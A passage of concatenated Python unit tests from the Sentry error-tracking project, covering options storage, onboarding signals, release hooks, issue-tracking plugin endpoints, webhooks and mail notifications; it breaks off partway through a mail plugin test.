        assert self.manager.get('some-int') == 0
        self.manager.set('some-int', '0')
        assert self.manager.get('some-int') == 0

        with self.assertRaises(TypeError):
            self.manager.set('some-int', 'foo')

        with self.assertRaises(TypeError):
            self.manager.set('some-int', '0', coerce=False)

    def test_legacy_key(self):
        """
        Allow sentry: prefixed keys without any registration
        """
        # These just shouldn't blow up since they are implicitly registered
        assert self.manager.get('sentry:foo') == ''
        self.manager.set('sentry:foo', 'bar')
        assert self.manager.get('sentry:foo') == 'bar'
        assert self.manager.delete('sentry:foo')
        assert self.manager.get('sentry:foo') == ''

    def test_types(self):
        self.manager.register('some-int', type=Int, default=0)
        with self.assertRaises(TypeError):
            self.manager.set('some-int', 'foo')
        self.manager.set('some-int', 1)
        assert self.manager.get('some-int') == 1

    def test_default(self):
        self.manager.register('awesome', default='lol')
        assert settings.SENTRY_DEFAULT_OPTIONS['awesome'] == 'lol'
        assert self.manager.get('awesome') == 'lol'
        self.manager.set('awesome', 'bar')
        assert self.manager.get('awesome') == 'bar'
        self.manager.delete('awesome')
        assert self.manager.get('awesome') == 'lol'
        self.manager.register('callback', default=lambda: True)
        assert settings.SENTRY_DEFAULT_OPTIONS['callback'] is True
        assert self.manager.get('callback') is True
        self.manager.register('default-type', type=Int)
        assert settings.SENTRY_DEFAULT_OPTIONS['default-type'] == 0
        assert self.manager.get('default-type') == 0

        self.manager.register('some-default')
        with self.settings(SENTRY_OPTIONS={'some-default': 'foo'}):
            assert self.manager.get('some-default') == 'foo'

        with self.settings(SENTRY_OPTIONS={}, SENTRY_DEFAULT_OPTIONS={'some-default': 'foo'}):
            assert self.manager.get('some-default') == 'foo'

    def test_flag_immutable(self):
        self.manager.register('immutable', flags=FLAG_IMMUTABLE)
        with self.assertRaises(AssertionError):
            self.manager.set('immutable', 'thing')
        with self.assertRaises(AssertionError):
            self.manager.delete('immutable')

    def test_flag_nostore(self):
        self.manager.register('nostore', flags=FLAG_NOSTORE)
        with self.assertRaises(AssertionError):
            self.manager.set('nostore', 'thing')

        # Make sure that we don't touch either of the stores
        with patch.object(self.store.cache, 'get', side_effect=Exception()):
            with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
                assert self.manager.get('nostore') == ''
                self.store.flush_local_cache()

                with self.settings(SENTRY_OPTIONS={'nostore': 'foo'}):
                    assert self.manager.get('nostore') == 'foo'
                    self.store.flush_local_cache()

        with self.assertRaises(AssertionError):
            self.manager.delete('nostore')

    def test_validate(self):
        with self.assertRaises(UnknownOption):
            self.manager.validate({'unknown': ''})

        self.manager.register('unknown')
        self.manager.register('storeonly', flags=FLAG_STOREONLY)
        self.manager.validate({'unknown': ''})

        with self.assertRaises(AssertionError):
            self.manager.validate({'storeonly': ''})

        with self.assertRaises(TypeError):
            self.manager.validate({'unknown': True})

    def test_flag_storeonly(self):
        self.manager.register('storeonly', flags=FLAG_STOREONLY)
        assert self.manager.get('storeonly') == ''

        with self.settings(SENTRY_OPTIONS={'storeonly': 'something-else!'}):
            assert self.manager.get('storeonly') == ''

    def test_flag_prioritize_disk(self):
        self.manager.register('prioritize_disk', flags=FLAG_PRIORITIZE_DISK)
        assert self.manager.get('prioritize_disk') == ''

        with self.settings(SENTRY_OPTIONS={'prioritize_disk': 'something-else!'}):
            with self.assertRaises(AssertionError):
                assert self.manager.set('prioritize_disk', 'foo')
            assert self.manager.get('prioritize_disk') == 'something-else!'

        self.manager.set('prioritize_disk', 'foo')
        assert self.manager.get('prioritize_disk') == 'foo'

        # Make sure the database value is overridden if defined
        with self.settings(SENTRY_OPTIONS={'prioritize_disk': 'something-else!'}):
            assert self.manager.get('prioritize_disk') == 'something-else!'

    def test_db_unavailable(self):
        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            # we can't update options if the db is unavailable
            with self.assertRaises(Exception):
                self.manager.set('foo', 'bar')

        self.manager.set('foo', 'bar')
        self.store.flush_local_cache()

        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            assert self.manager.get('foo') == 'bar'
            self.store.flush_local_cache()

            with patch.object(self.store.cache, 'get', side_effect=Exception()):
                assert self.manager.get('foo') == ''
                self.store.flush_local_cache()

                with patch.object(self.store.cache, 'set', side_effect=Exception()):
                    assert self.manager.get('foo') == ''
                    self.store.flush_local_cache()

    def test_db_and_cache_unavailable(self):
        self.manager.set('foo', 'bar')
        self.store.flush_local_cache()

        with self.settings(SENTRY_OPTIONS={'foo': 'baz'}):
            with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
                with patch.object(self.store.cache, 'get', side_effect=Exception()):
                    assert self.manager.get('foo') == 'baz'
                    self.store.flush_local_cache()

                    with patch.object(self.store.cache, 'set', side_effect=Exception()):
                        assert self.manager.get('foo') == 'baz'
                        self.store.flush_local_cache()

    def test_cache_unavailable(self):
        self.manager.set('foo', 'bar')
        self.store.flush_local_cache()

        with patch.object(self.store.cache, 'get', side_effect=Exception()):
            assert self.manager.get('foo') == 'bar'
            self.store.flush_local_cache()

            with patch.object(self.store.cache, 'set', side_effect=Exception()):
                assert self.manager.get('foo') == 'bar'
                self.store.flush_local_cache()

                # we should still be able to write a new value
                self.manager.set('foo', 'baz')
                self.store.flush_local_cache()

        # the cache should be incorrect now, but sync_options will eventually
        # correct the state
        assert self.manager.get('foo') == 'bar'
        self.store.flush_local_cache()

        # when the cache poofs, the db will be return the most-true answer
        with patch.object(self.store.cache, 'get', side_effect=Exception()):
            assert self.manager.get('foo') == 'baz'
            self.store.flush_local_cache()

            with patch.object(self.store.cache, 'set', side_effect=Exception()):
                assert self.manager.get('foo') == 'baz'
                self.store.flush_local_cache()

    def test_unregister(self):
        with self.assertRaises(UnknownOption):
            self.manager.unregister('does-not-exist')

    def test_all(self):
        self.manager.register('bar')

        keys = list(self.manager.all())
        assert {k.name for k in keys} == {'foo', 'bar'}

    def test_filter(self):
        self.manager.register('nostore', flags=FLAG_NOSTORE)
        self.manager.register('required', flags=FLAG_REQUIRED)
        self.manager.register('nostorerequired', flags=FLAG_NOSTORE | FLAG_REQUIRED)

        assert list(self.manager.filter()) == list(self.manager.all())

        keys = list(self.manager.filter())
        assert {k.name for k in keys} == {'foo', 'nostore', 'required', 'nostorerequired'}

        keys = list(self.manager.filter(flag=DEFAULT_FLAGS))
        assert {k.name for k in keys} == {'foo'}

        keys = list(self.manager.filter(flag=FLAG_NOSTORE))
        assert {k.name for k in keys} == {'nostore', 'nostorerequired'}

        keys = list(self.manager.filter(flag=FLAG_REQUIRED))
        assert {k.name for k in keys} == {'required', 'nostorerequired'}

    def test_isset(self):
        self.manager.register('basic')
        assert self.manager.isset('basic') is False

        with patch.object(self.store, 'get', side_effect='awesome'):
            assert self.manager.isset('basic') is True

        with self.settings(SENTRY_OPTIONS={'basic': 'awesome'}):
            assert self.manager.isset('basic') is True

        self.manager.register('nostore', flags=FLAG_NOSTORE)
        assert self.manager.isset('nostore') is False

        # This shouldn't be affected by the store value since it's NOSTORE
        with patch.object(self.store, 'get', side_effect='awesome'):
            assert self.manager.isset('nostore') is False

        with self.settings(SENTRY_OPTIONS={'nostore': 'awesome'}):
            assert self.manager.isset('nostore') is True






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import Group, GroupTagValue, Team, User
from sentry.testutils import TestCase


class SentryManagerTest(TestCase):
    def test_valid_only_message(self):
        event = Group.objects.from_kwargs(1, message='foo')
        self.assertEquals(event.group.last_seen, event.datetime)
        self.assertEquals(event.message, 'foo')
        self.assertEquals(event.project_id, 1)

    def test_add_tags(self):
        event = Group.objects.from_kwargs(1, message='rrr')
        group = event.group

        with self.tasks():
            Group.objects.add_tags(group, tags=(('foo', 'bar'), ('foo', 'baz'), ('biz', 'boz')))

        results = list(GroupTagValue.objects.filter(
            group=group, key='foo').order_by('id'))
        assert len(results) == 2
        res = results[0]
        self.assertEquals(res.value, 'bar')
        self.assertEquals(res.times_seen, 1)
        res = results[1]
        self.assertEquals(res.value, 'baz')
        self.assertEquals(res.times_seen, 1)

        results = list(GroupTagValue.objects.filter(
            group=group, key='biz').order_by('id'))
        assert len(results) == 1
        res = results[0]
        self.assertEquals(res.value, 'boz')
        self.assertEquals(res.times_seen, 1)


class TeamManagerTest(TestCase):
    def test_simple(self):
        user = User.objects.create(username='foo')
        user2 = User.objects.create(username='bar')
        org = self.create_organization()
        team = self.create_team(organization=org, name='Test')
        self.create_member(organization=org, user=user, teams=[team])

        result = Team.objects.get_for_user(
            organization=org,
            user=user,
        )
        assert result == [team]

        result = Team.objects.get_for_user(
            organization=org,
            user=user2,
        )
        assert result == []






from __future__ import absolute_import

from mock import patch

from sentry.models import Release, TagValue
from sentry.testutils import TestCase


class EnsureReleaseExistsTest(TestCase):
    def test_simple(self):
        tv = TagValue.objects.create(
            project=self.project,
            key='sentry:release',
            value='1.0',
        )

        tv = TagValue.objects.get(id=tv.id)
        assert tv.data['release_id']

        release = Release.objects.get(
            id=tv.data['release_id']
        )
        assert release.version == tv.value
        assert release.project == self.project

        # ensure we dont hit some kind of error saving it again
        tv.save()


class ResolveGroupResolutions(TestCase):
    @patch('sentry.tasks.clear_expired_resolutions.clear_expired_resolutions.delay')
    def test_simple(self, mock_delay):
        release = Release.objects.create(
            version='a',
            project=self.project,
        )

        mock_delay.assert_called_once_with(
            release_id=release.id,
        )






from __future__ import absolute_import

from django.utils import timezone

from sentry.models import (
    OnboardingTask, OnboardingTaskStatus, OrganizationOnboardingTask, OrganizationOption
)
from sentry.signals import (
    event_processed,
    project_created,
    first_event_pending,
    first_event_received,
    member_invited,
    member_joined,
    plugin_enabled,
    issue_tracker_used,
)
from sentry.plugins import IssueTrackingPlugin, NotificationPlugin
from sentry.testutils import TestCase


class OrganizationOnboardingTaskTest(TestCase):
    def test_no_existing_task(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        first_event_received.send(project=project, group=self.group, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_EVENT
        )
        assert task.status == OnboardingTaskStatus.COMPLETE
        assert task.project_id == project.id
        assert task.date_completed == project.first_event

    def test_existing_pending_task(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)

        first_event_pending.send(project=project, user=self.user, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_EVENT,
        )

        assert task.status == OnboardingTaskStatus.PENDING
        assert task.project_id == project.id

        first_event_received.send(project=project, group=self.group, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_EVENT,
        )

        assert task.status == OnboardingTaskStatus.COMPLETE
        assert task.project_id == project.id
        assert task.date_completed == project.first_event

    def test_existing_complete_task(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        task = OrganizationOnboardingTask.objects.create(
            organization=project.organization,
            task=OnboardingTask.FIRST_PROJECT,
            status=OnboardingTaskStatus.COMPLETE,
        )

        first_event_received.send(project=project, group=self.group, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(id=task.id)
        assert task.status == OnboardingTaskStatus.COMPLETE
        assert not task.project_id

    # Tests on the receivers
    def test_event_processed(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        event = self.create_full_event()
        event_processed.send(project=project, group=self.group, event=event, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.RELEASE_TRACKING,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.USER_CONTEXT,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.SOURCEMAPS,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

    def test_project_created(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        project_created.send(project=project, user=self.user, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_PROJECT,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

    def test_first_event_pending(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        first_event_pending.send(project=project, user=self.user, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_EVENT,
            status=OnboardingTaskStatus.PENDING,
        )
        assert task is not None

    def test_first_event_received(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        project = self.create_project(first_event=now)
        project_created.send(project=project, user=self.user, sender=type(project))
        group = self.create_group(project=project, platform='javascript', message='javascript error message')
        first_event_received.send(project=project, group=group, sender=type(project))

        task = OrganizationOnboardingTask.objects.get(
            organization=project.organization,
            task=OnboardingTask.FIRST_EVENT,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None
        assert 'platform' in task.data
        assert task.data['platform'] == 'javascript'

        second_project = self.create_project(first_event=now)
        project_created.send(project=second_project, user=self.user, sender=type(second_project))
        second_task = OrganizationOnboardingTask.objects.get(
            organization=second_project.organization,
            task=OnboardingTask.SECOND_PLATFORM,
            status=OnboardingTaskStatus.PENDING,
        )
        assert second_task is not None

        second_group = self.create_group(project=second_project, platform='python', message='python error message')
        first_event_received.send(project=second_project, group=second_group, sender=type(second_project))
        second_task = OrganizationOnboardingTask.objects.get(
            organization=second_project.organization,
            task=OnboardingTask.SECOND_PLATFORM,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert second_task is not None
        assert 'platform' in second_task.data
        assert second_task.data['platform'] == 'python'
        assert task.data['platform'] != second_task.data['platform']

    def test_member_invited(self):
        user = self.create_user(email='test@example.org')
        member = self.create_member(organization=self.organization, teams=[self.team], user=user)
        member_invited.send(member=member, user=user, sender=type(member))

        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.INVITE_MEMBER,
            status=OnboardingTaskStatus.PENDING,
        )
        assert task is not None

    def test_member_joined(self):
        user = self.create_user(email='test@example.org')
        member = self.create_member(organization=self.organization, teams=[self.team], user=user)
        member_joined.send(member=member, sender=type(member))

        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.INVITE_MEMBER,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

        user2 = self.create_user(email='test@example.com')
        member2 = self.create_member(organization=self.organization, teams=[self.team], user=user2)
        member_joined.send(member=member2, sender=type(member2))

        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.INVITE_MEMBER,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task.data['invited_member_id'] == member.id

    def test_issue_tracker_onboarding(self):
        plugin_enabled.send(plugin=IssueTrackingPlugin(), project=self.project, user=self.user, sender=type(IssueTrackingPlugin))
        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.ISSUE_TRACKER,
            status=OnboardingTaskStatus.PENDING,
        )
        assert task is not None

        issue_tracker_used.send(plugin=IssueTrackingPlugin(), project=self.project, user=self.user, sender=type(IssueTrackingPlugin))
        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.ISSUE_TRACKER,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

    def test_notification_added(self):
        plugin_enabled.send(plugin=NotificationPlugin(), project=self.project, user=self.user, sender=type(NotificationPlugin))
        task = OrganizationOnboardingTask.objects.get(
            organization=self.organization,
            task=OnboardingTask.NOTIFICATION_SERVICE,
            status=OnboardingTaskStatus.COMPLETE,
        )
        assert task is not None

    def test_onboarding_complete(self):
        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)
        user = self.create_user(email='test@example.org')
        project = self.create_project(first_event=now)
        second_project = self.create_project(first_event=now)
        second_group = self.create_group(project=second_project, platform='python', message='python error message')
        event = self.create_full_event()
        member = self.create_member(organization=self.organization, teams=[self.team], user=user)

        event_processed.send(project=project, group=self.group, event=event, sender=type(project))
        project_created.send(project=project, user=user, sender=type(project))
        project_created.send(project=second_project, user=user, sender=type(second_project))

        first_event_received.send(project=project, group=self.group, sender=type(project))
        first_event_received.send(project=second_project, group=second_group, sender=type(second_project))
        member_joined.send(member=member, sender=type(member))
        plugin_enabled.send(plugin=IssueTrackingPlugin(), project=project, user=user, sender=type(IssueTrackingPlugin))
        issue_tracker_used.send(plugin=IssueTrackingPlugin(), project=project, user=user, sender=type(IssueTrackingPlugin))
        plugin_enabled.send(plugin=NotificationPlugin(), project=project, user=user, sender=type(NotificationPlugin))

        assert OrganizationOption.objects.filter(organization=self.organization, key="onboarding:complete").count() == 1






from __future__ import absolute_import






# coding: utf-8

from __future__ import absolute_import

from django.conf import settings

from sentry.models import (
    Organization, Project, ProjectKey, Team, User
)
from sentry.receivers.core import create_default_projects
from sentry.testutils import TestCase


class CreateDefaultProjectsTest(TestCase):
    def test_simple(self):
        user, _ = User.objects.get_or_create(is_superuser=True, defaults={
            'username': 'test'
        })
        Organization.objects.all().delete()
        Team.objects.filter(slug='sentry').delete()
        Project.objects.filter(id=settings.SENTRY_PROJECT).delete()

        create_default_projects(created_models=[Project])

        project = Project.objects.get(id=settings.SENTRY_PROJECT)
        assert project.public is False
        assert project.name == 'Internal'
        assert project.slug == 'internal'
        team = project.team
        assert team.slug == 'sentry'

        pk = ProjectKey.objects.get(project=project)
        assert not pk.roles.api
        assert pk.roles.store

        # ensure that we dont hit an error here
        create_default_projects(created_models=[Project])

    def test_without_user(self):
        User.objects.filter(is_superuser=True).delete()
        Team.objects.filter(slug='sentry').delete()
        Project.objects.filter(id=settings.SENTRY_PROJECT).delete()

        create_default_projects(created_models=[Project])

        project = Project.objects.get(id=settings.SENTRY_PROJECT)
        assert project.public is False
        assert project.name == 'Internal'
        assert project.slug == 'internal'
        team = project.team
        assert team.slug == 'sentry'

        pk = ProjectKey.objects.get(project=project)
        assert not pk.roles.api
        assert pk.roles.store

        # ensure that we dont hit an error here
        create_default_projects(created_models=[Project])






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import
from sentry.plugins.base.response import JSONResponse


def test_json_response():
    resp = JSONResponse({}).respond(None)
    assert resp.status_code == 200


def test_json_response_with_status_kwarg():
    resp = JSONResponse({}, status=400).respond(None)
    assert resp.status_code == 400






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock
from sentry.plugins.helpers import set_option, unset_option, get_option
from sentry.testutils import TestCase


class SentryPluginTest(TestCase):
    def test_set_option_with_project(self):
        with mock.patch('sentry.models.ProjectOption.objects.set_value') as set_value:
            project = mock.Mock()
            set_option('key', 'value', project)

            set_value.assert_called_once_with(project, 'key', 'value')

    def test_get_option_with_project(self):
        with mock.patch('sentry.models.ProjectOption.objects.get_value') as get_value:
            project = mock.Mock()
            result = get_option('key', project)
            self.assertEquals(result, get_value.return_value)

            get_value.assert_called_once_with(project, 'key', None)

    def test_unset_option_with_project(self):
        with mock.patch('sentry.models.ProjectOption.objects.unset_value') as unset_value:
            project = mock.Mock()
            unset_option('key', project)

            unset_value.assert_called_once_with(project, 'key')






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.testutils import TestCase
from sentry.plugins.sentry_useragents.models import (
    BrowserPlugin, DevicePlugin, OsPlugin
)
from ua_parser.user_agent_parser import Parse


class UserAgentPlugins(TestCase):
    data = [
        {
            'user_agent': "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
            'browser_plugin_output': 'Googlebot 2.1',
            'device_plugin_output': 'Spider',
            'os_plugin_output': 'Other',
        },
    ]

    def test_plugins(self):
        for row in self.data:
            ua = Parse(row['user_agent'])
            assert BrowserPlugin().get_tag_from_ua(ua) == row['browser_plugin_output']
            assert DevicePlugin().get_tag_from_ua(ua) == row['device_plugin_output']
            assert OsPlugin().get_tag_from_ua(ua) == row['os_plugin_output']






"""
sentry.plugins.base.structs
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

__all__ = ['ReleaseHook']

from sentry.models import Release
from sentry.plugins import ReleaseHook
from sentry.testutils import TestCase


class StartReleaseTest(TestCase):
    def test_minimal(self):
        project = self.create_project()
        version = 'bbee5b51f84611e4b14834363b8514c2'

        hook = ReleaseHook(project)
        hook.start_release(version)

        release = Release.objects.get(
            project=project,
            version=version,
        )
        assert release.date_started


class FinishReleaseTest(TestCase):
    def test_minimal(self):
        project = self.create_project()
        version = 'bbee5b51f84611e4b14834363b8514c2'

        hook = ReleaseHook(project)
        hook.finish_release(version)

        release = Release.objects.get(
            project=project,
            version=version,
        )
        assert release.date_released






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import json
import mock

from social_auth.models import UserSocialAuth

from sentry.models import User, GroupMeta
from sentry.plugins import IssueTrackingPlugin, IssueTrackingPlugin2, plugins
from sentry.testutils import TestCase


class GetAuthForUserTest(TestCase):
    def _get_mock_user(self):
        user = mock.Mock(spec=User())
        user.id = 1
        user.is_authenticated.return_value = False
        return user

    def test_requires_auth_provider(self):
        user = self._get_mock_user()
        p = IssueTrackingPlugin()
        self.assertRaises(AssertionError, p.get_auth_for_user, user)

    def test_returns_none_on_missing_identity(self):
        user = self._get_mock_user()
        p = IssueTrackingPlugin()
        p.auth_provider = 'test'
        self.assertEquals(p.get_auth_for_user(user), None)

    def test_returns_identity(self):
        user = User.objects.create(username='test', email='test@example.com')
        auth = UserSocialAuth.objects.create(provider='test', user=user)
        p = IssueTrackingPlugin()
        p.auth_provider = 'test'
        self.assertEquals(p.get_auth_for_user(user), auth)


class GetAuthForUserTestIssue2(TestCase):
    def _get_mock_user(self):
        user = mock.Mock(spec=User())
        user.id = 1
        user.is_authenticated.return_value = False
        return user

    def test_requires_auth_provider(self):
        user = self._get_mock_user()
        p = IssueTrackingPlugin2()
        self.assertRaises(AssertionError, p.get_auth_for_user, user)

    def test_returns_none_on_missing_identity(self):
        user = self._get_mock_user()
        p = IssueTrackingPlugin2()
        p.auth_provider = 'test'
        self.assertEquals(p.get_auth_for_user(user), None)

    def test_returns_identity(self):
        user = User.objects.create(username='test', email='test@example.com')
        auth = UserSocialAuth.objects.create(provider='test', user=user)
        p = IssueTrackingPlugin2()
        p.auth_provider = 'test'
        self.assertEquals(p.get_auth_for_user(user), auth)


class IssuePlugin2GroupAction(TestCase):

    def setUp(self):
        super(IssuePlugin2GroupAction, self).setUp()
        self.project = self.create_project()
        self.group = self.create_group(project=self.project)
        self.plugin_instance = plugins.get(slug='issuetrackingplugin2')
        self.event = self.create_event(
            event_id='a',
            group=self.group,
        )

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    def test_get_create(self, *args):
        self.login_as(user=self.user)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/create/' % self.group.id
        response = self.client.get(url, format='json')
        content = json.loads(response.content)
        field_names = [field['name'] for field in content]
        assert response.status_code == 200
        assert 'title' in field_names
        assert 'description' in field_names

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.create_issue')
    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    def test_post_create_invalid(self, *args):
        self.login_as(user=self.user)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/create/' % self.group.id
        response = self.client.post(url, data={
            'title': '',
            'description': ''
        }, format='json')
        content = json.loads(response.content)
        assert response.status_code == 400
        assert content['error_type'] == 'validation'

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.create_issue', return_value=1)
    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    @mock.patch('sentry.plugins.IssueTrackingPlugin2.get_issue_url', return_value='')
    def test_post_create_valid(self, *args):
        self.login_as(user=self.user)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/create/' % self.group.id
        response = self.client.post(url, data={
            'title': 'test',
            'description': 'test'
        }, format='json')
        content = json.loads(response.content)
        assert response.status_code == 200
        assert 'issue_url' in content

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    def test_get_link(self, *args):
        self.login_as(user=self.user)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/link/' % self.group.id
        response = self.client.get(url, format='json')
        assert response.status_code == 200

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    def test_get_unlink_invalid(self, *args):
        self.login_as(user=self.user)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/unlink/' % self.group.id
        response = self.client.get(url, format='json')
        assert response.status_code == 400

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.is_configured', return_value=True)
    def test_get_unlink_valid(self, *args):
        self.login_as(user=self.user)
        id_ = '%s:tid' % self.plugin_instance.get_conf_key()
        GroupMeta.objects.set_value(self.group, id_, 4)
        url = '/api/0/issues/%s/plugin/issuetrackingplugin2/unlink/' % self.group.id
        response = self.client.get(url, format='json')
        assert response.status_code == 200
        GroupMeta.objects.populate_cache([self.group])
        assert GroupMeta.objects.get_value(self.group, id_, None) is None


class IssuePlugin2ProjectAction(TestCase):

    def setUp(self):
        super(IssuePlugin2ProjectAction, self).setUp()
        self.project = self.create_project()
        self.plugin_instance = plugins.get(slug='issuetrackingplugin2')

    @mock.patch('sentry.plugins.IssueTrackingPlugin2.get_configure_plugin_fields', return_value={})
    def test_get_configure(self, *args):
        self.login_as(user=self.user)
        url = ('/api/0/projects/%s/%s/plugin/'
               'issuetrackingplugin2/configure/') % (self.project.organization.slug,
                                                     self.project.slug)
        response = self.client.get(url, format='json')
        assert response.status_code == 200

    def test_get_disable(self, *args):
        self.login_as(user=self.user)
        url = ('/api/0/projects/%s/%s/plugin/'
               'issuetrackingplugin2/disable/') % (self.project.organization.slug,
                                                   self.project.slug)
        response = self.client.get(url, format='json')
        assert response.status_code == 200






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import json
import responses

from exam import fixture

from sentry.models import Rule
from sentry.plugins import Notification
from sentry.plugins.sentry_webhooks.plugin import WebHooksPlugin
from sentry.testutils import TestCase


class WebHooksPluginTest(TestCase):
    @fixture
    def plugin(self):
        return WebHooksPlugin()

    @responses.activate
    def test_simple_notification(self):
        responses.add(responses.POST, 'http://example.com')

        group = self.create_group(message='Hello world')
        event = self.create_event(group=group, message='Hello world', tags={'level': 'warning'})

        rule = Rule.objects.create(project=self.project, label='my rule')

        notification = Notification(event=event, rule=rule)

        self.project.update_option('webhooks:urls', 'http://example.com')

        self.plugin.notify(notification)

        assert len(responses.calls) == 1

        payload = json.loads(responses.calls[0].request.body)

        assert payload['level'] == 'warning'
        assert payload['message'] == 'Hello world'






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock
import six

from django.core import mail
from django.utils import timezone
from exam import fixture
from mock import Mock

from sentry.digests.notifications import (
    build_digest,
    event_to_record,
)
from sentry.interfaces.stacktrace import Stacktrace
from sentry.models import (
    Activity,
    Event,
    Group,
    OrganizationMember,
    OrganizationMemberTeam,
    Rule,
)
from sentry.plugins import Notification
from sentry.plugins.sentry_mail.models import MailPlugin
from sentry.testutils import TestCase
from sentry.utils.email import MessageBuilder


class MailPluginTest(TestCase):
    @fixture
    def plugin(self):
        return MailPlugin()

    @mock.patch('sentry.models.ProjectOption.objects.get_value', Mock(side_effect=lambda p, k, d: d))
    @mock.patch('sentry.plugins.sentry_mail.models.MailPlugin.get_sendable_users', Mock(return_value=[]))
    def test_should_notify_no_sendable_users(self):
        assert not self.plugin.should_notify(group=Mock(), event=Mock())

    def test_simple_notification(self):
        group = self.create_group(message='Hello world')
        event = self.create_event(group=group, message='Hello world', tags={'level': 'error'})

        rule = Rule.objects.create(project=self.project, label='my rule')

        notification = Notification(event=event, rule=rule)

        with self.options({'system.url-prefix': 'http://example.com'}), self.tasks():
            self.plugin.notify(notification)

        msg = mail.outbox[0]
        assert msg.subject == '[Sentry] [foo Bar] ERROR: Hello world'
        assert 'my rule' in msg.alternatives[0][0]

    @mock.patch('sentry.plugins.sentry_mail.models.MailPlugin._send_mail')
    def test_notify_users_renders_interfaces_with_utf8(self, _send_mail):
        group = Group(
            id=2,
            first_seen=timezone.now(),
            last_seen=timezone.now(),
            project=self.project,
        )

        stacktrace = Mock(spec=Stacktrace)
        stacktrace.to_email_html.return_value = u'רונית מגן'
        stacktrace.get_title.return_value = 'Stacktrace'

        event = Event()
        event.group = group
        event.project = self.project
        event.message = 'hello world'
        event.interfaces = {'sentry.interfaces.Stacktrace': stacktrace}

        notification = Notification(event=event)

        with self.options({'system.url-prefix': 'http://example.com'}):
            self.plugin.notify(notification)

        stacktrace.get_title.assert_called_once_with()
        stacktrace.to_email_html.assert_called_once_with(event)

    @mock.patch('sentry.plugins.sentry_mail.models.MailPlugin._send_mail')
    def test_notify_users_renders_interfaces_with_utf8_fix_issue_422(self, _send_mail):
        group = Group(
            id=2,
            first_seen=timezone.now(),
            last_seen=timezone.now(),
            project=self.project,
        )

        stacktrace = Mock(spec=Stacktrace)
        stacktrace.to_email_html.return_value = u'רונית מגן'
        stacktrace.get_title.return_value = 'Stacktrace'

        event = Event()
        event.group = group
        event.project = self.project
        event.message = 'Soubor ji\xc5\xbe existuje'
